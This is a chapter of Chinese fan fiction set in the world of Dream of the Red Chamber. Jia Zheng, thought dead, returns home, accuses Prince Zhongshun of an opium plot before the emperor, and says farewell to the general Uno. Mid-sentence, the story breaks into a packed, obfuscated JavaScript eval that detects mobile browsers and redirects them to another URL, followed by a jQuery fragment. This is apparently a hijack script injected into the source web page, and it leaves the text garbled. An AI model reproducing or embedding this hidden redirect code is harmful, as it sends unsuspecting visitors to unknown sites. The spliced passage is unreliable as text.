“我不是说风凉话”宇野又道“这次进宫见你们的皇帝,你也不知道自己能不能捡回一条命,万一皇帝不听你的话呢?万一忠顺王爷偏巧在皇帝跟前呢?你为何不进去看他们一眼?都走到这里了,忠顺王爷纵使发现你没死,也没机会再使绊子了。” “你倒是个好人!”林如海对宇野说道。 宇野却摇摇头道“我不是好人,我是坏人,我是阶下囚。” “那个药是我骗你的,并没有什么药让人每日都需要服用解药的,没有这么奇怪的医术。”贾政忽然说道。 宇野没有说话。 “如海,等我一刻钟,我去看看就回。”贾政忽然对林如海道。 “别着急”林如海拍拍贾政的肩膀,又对他道“坐马车过去,你也省点力气。” 林府的马车停在了荣国府门口,看门的小厮们都习惯了经常过来的林如海,刚要前来服侍时,竟然看到贾政走了下来。 小厮愣在了原地。 * 贾政踏入熟悉的门廊,目光扫过一张张或惊或喜的面孔。 两个月来的生死挣扎在喉头翻滚,可他顾不上诉说。 他的目光急切地搜寻着,直到看见王夫人悲喜交加的面容,悬着的心才终于放下。 贾政朝夫人笑了笑,口中念道“夫人,我回来了…” 王夫人一看到贾政就愣在了原地,此时探春和黛玉便扶着王夫人,缓步从人群中走了出来。 贾政微微低了头,又像从前那样摸了摸探春和黛玉的脑袋,笑道“这些日子你们有没有多陪着母亲呢?” 探春强忍着泪,说道“母亲夜里总是做梦,常常喊着父亲的名字惊醒···” “怎么不见老太太?”贾政又问。 “老太太身体不好,在屋里歇着呢。”黛玉回道。 贾政耳边听着探春和黛玉说话,一双眼睛却只是定定看着夫人,她瘦了好多,颧骨显得更高了。 王夫人默默流着泪,其中无数悲痛与惊喜更不必提。 “哭什么呢?我好好的回来了。”贾政笑着说,“我让凤丫头送回来的果树苗,你吩咐人种上了没有?” 王夫人点了头,掺杂着眼泪,换上一个笑容“种上了,只是一直不发芽···” “等我回来细看看吧···”贾政笑道,本来想为夫人拭泪,却只是抬了手又颤抖着放下。 “你看这个” 贾政将颈间的佛珠解了下来,拿给王夫人看“多亏了它,我才能逢凶化吉呢!” “我一会儿要进宫去,等回家了咱们再说话,好吗?”贾政的声音也开始发颤。 王夫人点了点头。 “要是暂时回不来的话···夫人也不要担心,带着这串佛珠,就当作是我在你身边了。”贾政将佛珠放到了王夫人手中。 “我会想办法回来的。”贾政说完这句,又看了一眼探春,又道“好好照顾你母亲。” 说罢,转身就走,再也没有回头。 围着的人从贾政一出现就开始小声说话,此时见贾政忽然又走了,讨论之声更热烈了。 来吊丧的亲友更觉得这事太奇怪。从来没有听说过死了的人,连棺材都做好了,却又活生生出现了。 众人觉得奇怪却又好奇背后的事。 荣国府二老爷贾政突然死亡和离奇的复活,很快在京城传开了。 贾政出了荣府的门,就上了马车,与林如海,宇野三郎进了宫。 林如海已经奏请了圣上,他们只在御书房外略等了一会儿,皇帝就派人来叫他们。 贾政长舒了一口气,对宇野说道“走吧。” * 皇宫,建章殿。 “你说了这么多,又带了宇野将军做证人,可是朕还是没有一个非信你不可的理由,况且你针对的是朕最亲近的皇兄。”皇帝沉声道。 “鸦片毒害甚广,如今忠顺王爷已经用上万人试验过了,先用鸦片毒害百姓的身体,再用吐火教把控百姓的大脑。若这个村子的人走出大山,就会像洪水一样迅速席卷全国,只怕圣上也不愿意见到一个只听教义的广州城吧?”贾政又道。 皇帝听罢,停下了原本转动扳指的手指,目光如刀看向贾政“你可知道,昨日忠顺王爷还向朕进献了一匣上好的□□?” 皇帝缓缓起身,走到贾政面前“那种飘飘欲仙的感觉,实在是舒服。我看这东西明明很好,你怎么说是祸害呢?” 贾政神色一凛,也来不及思考皇帝是否在说反话试探他。他见皇帝竟然已经尝过了,此时也无其他转圜的余地,就冒险说道“圣上不信我的话,难道是要拿江山做赌注吗?” 皇帝拍了桌子,怒道“好大的胆子,竟然这样和朕说话!” 龙颜震怒,贾政额头冒了汗,忙跪下请罪,原本的五成把握瞬间不到三成。 “朕看你的胆量也不大啊,怎么做的事桩桩件件都是不要脑袋的呢?”皇帝突然弯腰看向贾政。 贾政更低了头,回道“臣别无他法···” “你是荣国公的后人,前些日子朕还让忠顺王爷抄了宁荣二府,你们也都入了狱。最后还是王爷求情,朕才开恩放了你们···”皇帝绕着贾政转了一圈。 “王爷所为只是为了私事,他要利用微臣为他做事,却没想到天网恢恢疏而不露,却被臣发现了他的秘密勾当。”贾政仍低着头,不敢看皇帝。 “抬起头来···”皇帝忽然道。 贾政只敢看皇帝的衣袍,那里有一片精致威严的明黄色龙纹。 “你这么做有什么目的?”皇帝又问。 贾政却回道“一心为君。” 皇帝却轻声笑了笑“巧了!忠顺王爷也说是一心为君,却瞒着朕做了这么多事···” “圣上,臣有话说···”林如海见状也跪了下来,想为贾政说话。 “如海,没你的事,你不要参与。”皇帝对林如海说道。他其实很倚重林如海,不然也不会让他去做巡盐御史这么重要的位子。虽然因为林如海和贾家是姻亲,但也不怎么妨碍他对林如海的信赖。 如今林如海是都察院的左都御史,这也是他看重的位子。如今官员们人浮于事,拉帮结派,不好好让御史盯着,恐怕之后更要乱套。 林如海听了却依旧跪着,没有起来。 “朕再问你一次,你想要什么?”皇帝直直盯着贾政,却只看到他半张脸。 “忠顺王爷一直视臣为眼中钉肉中刺,多次暗中给臣使绊子···”贾政回道“臣想保全家人···” “还有呢?”皇帝又问。 “臣的老母亲如今年纪大了,身体也不好,平日里最是惦记长孙女,所以臣想斗胆请圣上开恩,放了臣的长女出宫。”贾政又道。 “还说一心为君呢?说了这么多,哪一件不是私心?”皇帝沉声道。 “人不独亲其亲,不独子其子···”贾政忽然念道。 “说得好!仁君正应当体恤所有人的孝心亲情。”皇帝笑道“你是不是期待朕这样的反应呢?” “朕不想与你讲经辩法,你有要求,朕也有一个要求。”皇帝又道“你亲自带人剿了那个村子,拿出证据来,朕就答应你的要求。” “可是忠顺王爷那里?”贾政犹豫道。 “如果你说的都是事实,你以为朕会放过他吗?”皇帝突然笑了一下。贾政再也没敢问。 皇帝又走到宇野三郎面前,对他说道“宇野将军,你想活着离开这里吗?” 宇野三郎点了点头。 “很好!”皇帝拍了拍他的肩膀,又道“你们都是识时务的人。” “既然忠顺王爷能和你做交易,朕自然也可以了。”皇帝又道。 “不知圣上有何指示?”宇野三郎问道。 “朕登基以来,总有朝臣说朕不懂得开疆拓土,只是个守成的皇帝···”皇帝缓缓道。 皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315345|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝从桌案上拿起一本折子,递到宇野三郎手中,沉声道“给你一支水军,回到东瀛,杀了天皇,你来做天皇,如何呢?” 宇野三郎惊讶之余,却稳稳地拿住了手中的奏折,试探回道“我万万不敢这么想!”说罢立刻跪倒在地,他以为皇帝在试探他。 “何必这样惊慌呢?”皇帝竟然亲自扶起了宇野三郎,又笑道“朕说的都是真的,你做了天皇,以后向朕俯首称臣,年年上供,有朕庇佑着,这还不好吗?” “臣遵旨”宇野三郎想了想,俯身磕了头。 “好极了。”皇帝说罢,竟还拍了拍双手。 “臣还有一事想请圣上恩准。”贾政忽然说道。 “一次说完。”皇帝坐了下来。 “臣完成任务后,想告老还乡···”贾政低头说道。 “这可是稀奇!”皇帝忽然抬高了声音,又走到贾政跟前“起来说话吧。” “你是个能干的臣子,朕可以将你抬到曾经忠顺王爷的位置,你还要辞官吗?”皇帝笑道。 贾政没有犹豫,回道“臣也该尽尽孝心了,从广东回来后,臣想举家迁回金陵···” “你们贾王史薛四家子,本来都在京城的,如今你再走了,可只剩半个王家了···”皇帝唇边勾起一个笑容。 “臣一心为君。”贾政轻声道。 皇帝深深看了贾政一眼,拍了拍他的肩膀,笑道“准奏。” * 贾政和宇野三郎结伴又回到了广州。 今时不同往日,宇野是带着皇帝的圣旨出发的,身后还浩浩荡荡跟了上万的将士。主帅是曾经的工部尚书,如今升任兵部尚书的封严。副帅是呼延朗和李师德,都是贾政的老熟人。 贾政这边只有一个兵部侍郎做副手,皇帝放心让贾政全权主事。 封严和宇野等人计划从广州乘船前往东瀛。 “你虽保全了性命,只是回去的日子恐怕也不好过。”贾政对宇野说道。 “一个小岛而已,这么多士兵很快就能踏平那里了。”宇野笑道。 “你不恨我,恨圣上吗?”贾政轻声道。 “成王败寇,自古如此,胜者就是胜者,有权决定输者的命运。”宇野却道。 “你们的武士道精神呢?”贾政又问。 “你觉得我应该因为受辱而自尽吗?”宇野反问道。 贾政却摇摇头“任何人都没有绝对的理由为了别人而放弃生命,屈辱这个理由有时也太轻率了,像是强加给人的锁链。” “你跪在皇帝跟前不感觉到屈辱吗?”宇野又问。 贾政却笑了“这好像和屈辱关系不大吧!” “但是你要辞官了···”宇野叹气,语气似有两分遗憾。 “只是因为我不想做官,想陪着家人,并没有别的原因。”贾政又笑,遥遥看向平静的海面。 “真的没有别的原因吗?”宇野不信。 “也许吧,我也说不清楚。”贾政拍了拍宇野的肩膀。“去吧,他们都等着你呢!” “我还没有问你的年纪···”宇野回了头,又冒出这么一个问题。 “你这样的提问有些不符合汉人的礼节···”贾政笑了笑,回道“我已快到知天命之年。” “也就是说你四十多岁了···”宇野点头道“怪不得你让我扮作你的哑巴儿子。” “你的长子大约也像我这么大吧。”宇野又问。 贾政点了头,又反问道“你贵庚呢?” “我也不记得了”宇野说到这里,轻轻笑了笑,低着头看着脚下斑驳破旧的船板,才又缓缓道“我生来就没有父母的···养母被那些人害死后,我也跟着他们从军了···” 宇野说到这里,抬起了头,他双眼失焦,像一池朦胧的水波“他们教给我的,就是一直踩着别人往上爬···” 贾政见宇野神情低落,就打断了他“看你的容貌,应该不到而立之年···”又宽慰道“这么年轻就做到将军,我早就应该夸奖你的。” 宇野却大笑道“因为我够狠辣,所以我是最年轻的将军。” “不久就会是最年轻的天皇了。”贾政附和道“而且你也并没有多么狠毒,相信我,我见过太多比你更狠的人。” “他们比起山里的毒蛇如何呢?”宇野忽然又问。 贾政笑着摇摇头,回道“毒蛇难以望其项背。” 宇野有些遗憾地叹口气,回道“可惜没有机会见一面,不然我应该向他们好好学一学的···” 说罢,宇野就转身要走了。 “一路平安。”贾政朝着他的背影说道。 宇野没有回头,挥了挥手,快要走远时又突然喊道“父亲!你也要一路平安!”